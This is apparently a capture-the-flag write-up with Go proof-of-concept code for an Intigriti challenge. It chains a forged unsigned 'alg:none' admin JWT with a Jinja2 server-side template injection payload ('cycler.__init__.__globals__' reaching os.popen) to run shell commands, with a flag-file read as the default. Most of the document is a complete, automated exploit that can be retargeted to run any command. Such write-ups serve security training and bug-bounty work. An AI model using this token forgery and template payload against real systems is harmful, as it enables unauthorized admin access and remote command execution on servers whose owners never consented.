Overview
Vulnerability Type: Server-side template injection (Jinja2 SSTI) + unsigned JWT.
Target: https://challenge-1125.intigriti.io
Impact: Remote command execution (RCE) and sensitive file exposure.
This repo: A small Go program (main.go) that automates the PoC.
Impact
- Authenticated attacker equivalent privileges without credentials by forging JWT.
- Full remote code execution via template sandbox escape enables arbitrary file read/write, lateral movement, and persistence.
- Sensitive artifacts (e.g.,
INTIGRITI{...}flag) can be exfiltrated; database or secret leaks are highly likely. - Exploit chain is zero-click once cookie is set, so detection is difficult and response window minimal.
Root Cause
- The server accepts the JWT in the
tokencookie without verifying any signature (alg: none). - The admin panel forwards
display_namedirectly into Jinja2 and does not prevent access to internals such ascycler.__init__.__globals__. - Combining both flaws lets an attacker mint an authenticated admin session and execute
os.popencommands inside the template.
PoC Flow
-
JWT Crafting: Build an
alg:nonetoken with admin privileges, encode header/payload using base64-url without padding, and formheader.payload. -
Cookie Injection: Send
token=<jwt>to the target domain (seemakeAdminSession()). -
SSTI Payload: Submit
{{ cycler.__init__.__globals__['os'].popen('<cmd>').read() }}indisplay_nameviarunCmd(). -
Read Output: Revisit the admin profile page and grab the
<p>element under "Current Display Name" to obtain command output.
PoC Section
-
main.goleveragesmakeAdminSession()to craft the unsigned JWT and set thetokencookie for an admin session. -
runCmd(cmd string)POSTs the SSTI payload intodisplay_name, then fetches the same endpoint to scrape and print the result. -
main()callsrunCmd("cat /app/.aquacommerce/019a82cf.txt"), but you can swap in any command to demonstrate RCE. - Since the script is fully automated, include screenshots or raw output in your report to confirm the manual steps.
Running the Tool
go run main.go
Default command: cat /app/.aquacommerce/019a82cf.txt.
Change the runCmd("<cmd>") call in main() to execute something else.
Exploit Code
package main
import (
"encoding/base64"
"encoding/json"
"fmt"
"io"
"net/http"
"net/http/cookiejar"
"net/url"
"strings"
"time"
"github.com/PuerkitoBio/goquery"
)
func b64(data interface{}) string {
j, _ := json.Marshal(data)
return base64.RawURLEncoding.EncodeToString(j)
}
func makeAdminSession() *http.Client {
header := map[string]string{
"alg": "none",
"typ": "JWT",
}
payload := map[string]interface{}{
"user_id": 1,
"username": "admin",
"role": "admin",
"exp": time.Now().Unix() + 600,
}
token := b64(header) + "." + b64(payload) + "."
jar, _ := cookiejar.New(nil)
client := &http.Client{Jar: jar}
// Cookie set et
baseURL, _ := url.Parse("https://challenge-1125.intigriti.io")
client.Jar.SetCookies(baseURL, []*http.Cookie{
{
Name: "token",
Value: token,
Path: "/",
Domain: "challenge-1125.intigriti.io",
},
})
return client
}
func runCmd(cmd string) {
client := makeAdminSession()
tpl := fmt.Sprintf("{{ cycler.__init__.__globals__['os'].popen('%s').read() }}", cmd)
form := url.Values{}
form.Set("display_name", tpl)
req, _ := http.NewRequest(
"POST",
"https://challenge-1125.intigriti.io/admin/profile",
strings.NewReader(form.Encode()),
)
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
_, _ = client.Do(req)
// GET profile
resp, err := client.Get("https://challenge-1125.intigriti.io/admin/profile")
if err != nil {
fmt.Println("GET error:", err)
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
// HTML parse
doc, _ := goquery.NewDocumentFromReader(strings.NewReader(string(body)))
// "Current Display Name" altında gelen <p> elemanını çekiyoruz
var output string
doc.Find("label").Each(func(i int, s *goquery.Selection) {
if strings.Contains(s.Text(), "Current Display Name") {
p := s.Parent().Find("p")
output = strings.TrimSpace(p.Text())
}
})
if output == "" {
fmt.Println("No output found (UI değişmiş olabilir)")
} else {
fmt.Println("CMD OUTPUT:\n" + output)
}
}
func main() {
runCmd("cat /app/.aquacommerce/019a82cf.txt")
}